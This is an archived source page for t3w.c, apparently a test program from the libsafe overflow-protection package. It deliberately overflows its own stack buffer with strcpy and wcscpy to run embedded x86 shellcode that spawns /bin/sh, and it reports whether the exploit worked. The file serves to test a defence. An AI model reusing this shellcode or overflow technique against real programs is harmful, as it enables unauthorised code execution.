"Fossies" - the Fresh Open Source Software Archive

Member "libsafe-2.0-16/exploits/t3w.c" (12 Jun 2002, 1974 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style: standard) with prefixed line numbers and code folding option. Alternatively you can here view or download the uninterpreted source code file.

    1 /*
    2  * $Name: release2_0-16 $
    3  * $Id: t3w.c,v 1.2 2002/06/12 20:30:37 ttsai Exp $
    4  */
    5 
    6 
    7 #include <unistd.h>
    8 #include <stdio.h>
    9 #include <string.h>
   10 #include <stdlib.h>
   11 #include <wchar.h>
   12 
   13 char shellcode[] =
   14     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   15     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   16     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   17 
   18 char large_string[128];
   19 
   20 /*
   21  * Return 1 if at least one of the bytes in addr is 0x00; else return 0.
   22  */
   23 int contains_null_bytes(caddr_t addrp) {
   24     uint addr = (uint) addrp;
   25     return !(addr & 0xff &&
   26          addr & 0xff00 &&
   27          addr & 0xff0000 &&
   28          addr & 0xff000000);
   29 }
   30 
   31 void foo()
   32 {
   33     char buffer[96], *p;
   34     long *long_ptr = (long *) large_string;
   35     int i;
   36 
   37     /*
   38      * Make sure that there are no zero bytes in the starting address in
   39      * buffer[].  If so, find the first address containing no zero bytes.
   40      */
   41     for (p=buffer; contains_null_bytes(p); p++);
   42     if (contains_null_bytes(p)) {
   43     printf("We can't find an acceptable address that doesn't contain\n");
   44     printf("a zero byte.  Giving up.\n");
   45     exit(-1);
   46     }
   47 
   48     for (i = 0; i < 32; i++)
   49     *(long_ptr + i) = (int) p;
   50     for (i = 0; i < sizeof(shellcode)-1; i++)
   51     large_string[i] = shellcode[i];
   52     strcpy(p, large_string);
   53     wcscpy((wchar_t*)p, (wchar_t*)large_string);
   54 
   55     return;
   56 }
   57 
   58 int main(int ac, char *av[])
   59 {
   60     if (ac == 1) {
   61     printf
   62         ("This program will exec() a new program.  The new program will\n");
   63     printf("overflow the buffer using strcpy().\n");
   64     printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
   65     printf("Press any key to continue...");
   66     getchar();
   67     execl(av[0], av[0], "xyz", NULL);
   68     perror("execl()");
   69     } else if ((ac != 2) || (strcmp(av[1], "xyz") != 0)) {
   70     printf("usage: %s\n", av[0]);
   71     exit(1);
   72     }
   73 
   74     foo();
   75 
   76     printf("If you see this statement, it means that the buffer overflow\n");
   77     printf("never occurred.\n");
   78 
   79     return 0;
   80 }